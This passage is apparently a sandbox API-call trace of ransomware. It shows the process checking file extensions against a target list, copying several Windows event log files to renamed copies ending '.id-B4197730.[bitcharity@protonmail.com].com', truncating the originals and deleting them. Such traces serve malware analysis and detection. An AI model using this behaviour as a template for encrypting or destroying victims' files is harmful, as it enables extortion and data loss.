"c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx")) returned 1 [0146.915] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0146.915] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0146.915] lstrlenW (lpString=".doc") returned 4 [0146.915] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0146.915] lstrlenW (lpString=".docx") returned 5 [0146.915] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0146.915] lstrlenW (lpString=".pdf") returned 4 [0146.915] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0146.915] lstrlenW (lpString=".xls") returned 4 [0146.915] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0146.915] lstrlenW (lpString=".xlsx") returned 5 [0146.915] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0146.915] lstrlenW (lpString=".ppt") returned 4 [0146.915] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0146.915] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0146.915] lstrlenW (lpString=".zip") returned 4 [0146.915] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0146.916] lstrlenW (lpString=".rar") returned 4 [0146.916] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0146.916] lstrlenW (lpString=".bz2") returned 4 [0146.916] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0146.916] lstrlenW (lpString=".7z") returned 3 [0146.916] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0146.916] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0146.916] lstrlenW (lpString=".dbf") returned 4 [0146.916] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0146.916] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0146.916] lstrlenW (lpString=".1cd") returned 4 [0146.916] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0146.916] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0146.916] lstrlenW (lpString=".jpg") returned 4 [0146.916] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0146.916] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0146.916] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0146.916] lstrlenW (lpString=".doc") returned 4 [0146.916] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0146.916] lstrlenW (lpString=".docx") returned 5 [0146.916] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0146.916] lstrlenW (lpString=".pdf") returned 4 [0146.916] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0146.916] lstrlenW (lpString=".xls") returned 4 [0146.916] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0146.916] lstrlenW (lpString=".xlsx") returned 5 [0146.916] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0146.916] lstrlenW (lpString=".ppt") returned 4 [0146.916] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0146.916] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0146.916] lstrlenW (lpString=".zip") returned 4 [0146.916] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0146.916] lstrlenW (lpString=".rar") returned 4 [0146.917] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0146.917] lstrlenW (lpString=".bz2") returned 4 [0146.917] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0146.917] lstrlenW (lpString=".7z") returned 3 [0146.945] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0146.945] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0146.945] lstrlenW (lpString=".dbf") returned 4 [0146.945] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0146.945] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0146.945] lstrlenW (lpString=".1cd") returned 4 [0146.945] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0146.945] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0146.945] lstrlenW (lpString=".jpg") returned 4 [0146.945] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0146.945] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0146.945] lstrlenW (lpString="Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 47 [0146.945] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0147.044] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=69632) returned 1 [0147.044] CloseHandle (hObject=0x10b8) returned 1 [0147.044] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 0x20 [0147.044] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0147.044] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0147.044] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.044] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.044] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0147.127] GetLastError () returned 0x0 [0147.127] ReadFile (in: hFile=0x10b8, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0147.260] WriteFile (in: hFile=0x1038, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0147.262] ReadFile (in: hFile=0x10b8, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.262] WriteFile (in: hFile=0x1038, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x132, lpOverlapped=0x0) returned 1 [0147.262] SetEndOfFile (hFile=0x1038) returned 1 [0147.262] CloseHandle (hObject=0x1038) returned 1 [0147.264] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.264] SetEndOfFile (hFile=0x10b8) returned 1 [0147.265] CloseHandle (hObject=0x10b8) returned 1 [0147.265] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0147.265] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 1 [0147.266] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0147.266] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0147.266] lstrlenW (lpString=".doc") returned 4 [0147.266] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0147.266] lstrlenW (lpString=".docx") returned 5 [0147.266] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0147.266] lstrlenW (lpString=".pdf") returned 4 [0147.266] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0147.266] lstrlenW (lpString=".xls") returned 4 [0147.266] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0147.266] lstrlenW (lpString=".xlsx") returned 5 [0147.266] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0147.266] lstrlenW (lpString=".ppt") returned 4 [0147.266] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0147.266] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0147.266] lstrlenW (lpString=".zip") returned 4 [0147.266] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0147.266] lstrlenW (lpString=".rar") returned 4 [0147.266] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0147.266] lstrlenW (lpString=".bz2") returned 4 [0147.266] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0147.266] lstrlenW (lpString=".7z") returned 3 [0147.266] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0147.266] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0147.266] lstrlenW (lpString=".dbf") returned 4 [0147.266] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0147.266] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0147.266] lstrlenW (lpString=".1cd") returned 4 [0147.266] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0147.266] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0147.267] lstrlenW (lpString=".jpg") returned 4 [0147.267] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0147.267] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0147.267] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0147.267] lstrlenW (lpString=".doc") returned 4 [0147.267] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0147.267] lstrlenW (lpString=".docx") returned 5 [0147.267] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0147.267] lstrlenW (lpString=".pdf") returned 4 [0147.267] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0147.267] lstrlenW (lpString=".xls") returned 4 [0147.267] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0147.267] lstrlenW (lpString=".xlsx") returned 5 [0147.267] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0147.267] lstrlenW (lpString=".ppt") returned 4 [0147.267] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0147.267] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0147.267] lstrlenW (lpString=".zip") returned 4 [0147.267] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0147.267] lstrlenW (lpString=".rar") returned 4 [0147.267] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0147.267] lstrlenW (lpString=".bz2") returned 4 [0147.267] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0147.267] lstrlenW (lpString=".7z") returned 3 [0147.267] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0147.267] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0147.267] lstrlenW (lpString=".dbf") returned 4 [0147.267] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0147.267] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0147.267] lstrlenW (lpString=".1cd") returned 4 [0147.267] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0147.268] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0147.268] lstrlenW (lpString=".jpg") returned 4 [0147.268] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0147.268] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0147.268] lstrlenW (lpString="Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 48 [0147.268] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0147.268] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=1052672) returned 1 [0147.268] CloseHandle (hObject=0x10b8) returned 1 [0147.268] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 0x20 [0147.268] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0147.268] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0147.268] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.269] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.269] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0147.269] GetLastError () returned 0x0 [0147.269] ReadFile (in: hFile=0x10b8, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0147.388] WriteFile (in: hFile=0x1038, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0147.416] ReadFile (in: hFile=0x10b8, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x1010, lpOverlapped=0x0) returned 1 [0147.754] WriteFile (in: hFile=0x1038, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x1020, lpOverlapped=0x0) returned 1 [0147.765] ReadFile (in: hFile=0x10b8, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.765] WriteFile (in: hFile=0x1038, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x134, lpOverlapped=0x0) returned 1 [0147.765] SetEndOfFile (hFile=0x1038) returned 1 [0147.765] CloseHandle (hObject=0x1038) returned 1 [0147.957] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.957] SetEndOfFile (hFile=0x10b8) returned 1 [0147.958] CloseHandle (hObject=0x10b8) returned 1 [0147.958] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0147.959] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 1 [0147.959] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0147.959] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0147.959] lstrlenW (lpString=".doc") returned 4 [0147.959] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0147.959] lstrlenW (lpString=".docx") returned 5 [0147.959] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0147.959] lstrlenW (lpString=".pdf") returned 4 [0147.959] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0147.959] lstrlenW (lpString=".xls") returned 4 [0147.959] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0147.959] lstrlenW (lpString=".xlsx") returned 5 [0147.959] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0147.959] lstrlenW (lpString=".ppt") returned 4 [0147.959] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0147.959] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0147.959] lstrlenW (lpString=".zip") returned 4 [0148.022] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0148.022] lstrlenW (lpString=".rar") returned 4 [0148.022] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0148.022] lstrlenW (lpString=".bz2") returned 4 [0148.023] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0148.023] lstrlenW (lpString=".7z") returned 3 [0148.023] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0148.023] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0148.023] lstrlenW (lpString=".dbf") returned 4 [0148.023] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0148.023] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0148.023] lstrlenW (lpString=".1cd") returned 4 [0148.023] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0148.023] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0148.023] lstrlenW (lpString=".jpg") returned 4 [0148.023] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0148.023] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0148.023] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0148.023] lstrlenW (lpString=".doc") returned 4 [0148.023] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0148.023] lstrlenW (lpString=".docx") returned 5 [0148.023] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0148.023] lstrlenW (lpString=".pdf") returned 4 [0148.023] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0148.023] lstrlenW (lpString=".xls") returned 4 [0148.023] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0148.023] lstrlenW (lpString=".xlsx") returned 5 [0148.023] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0148.023] lstrlenW (lpString=".ppt") returned 4 [0148.023] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0148.023] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0148.023] lstrlenW (lpString=".zip") returned 4 [0148.023] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0148.023] lstrlenW (lpString=".rar") returned 4 [0148.023] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0148.023] lstrlenW (lpString=".bz2") returned 4 [0148.023] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0148.023] lstrlenW (lpString=".7z") returned 3 [0148.023] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0148.023] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0148.024] lstrlenW (lpString=".dbf") returned 4 [0148.024] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0148.024] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0148.024] lstrlenW (lpString=".1cd") returned 4 [0148.024] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0148.024] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0148.024] lstrlenW (lpString=".jpg") returned 4 [0148.024] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0148.024] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0148.024] lstrlenW (lpString="Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 50 [0148.024] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0148.024] GetFileSizeEx (in: hFile=0x1084, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=69632) returned 1 [0148.024] CloseHandle (hObject=0x1084) returned 1 [0148.024] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 0x20 [0148.024] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0148.025] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0148.025] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.025] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.025] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ec [0148.025] GetLastError () returned 0x0 [0148.025] ReadFile (in: hFile=0x1084, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0148.188] WriteFile (in: hFile=0x10ec, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0148.190] ReadFile (in: hFile=0x1084, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.191] WriteFile (in: hFile=0x10ec, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x138, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x138, lpOverlapped=0x0) returned 1 [0148.191] SetEndOfFile (hFile=0x10ec) returned 1 [0148.191] CloseHandle (hObject=0x10ec) returned 1 [0148.193] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.193] SetEndOfFile (hFile=0x1084) returned 1 [0148.195] CloseHandle (hObject=0x1084) returned 1 [0148.195] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0148.195] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 1 [0148.201] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0148.201] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0148.201] lstrlenW (lpString=".doc") returned 4 [0148.201] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0148.201] lstrlenW (lpString=".docx") returned 5 [0148.201] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0148.201] lstrlenW (lpString=".pdf") returned 4 [0148.201] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0148.201] lstrlenW (lpString=".xls") returned 4 [0148.201] lstrcmpiW 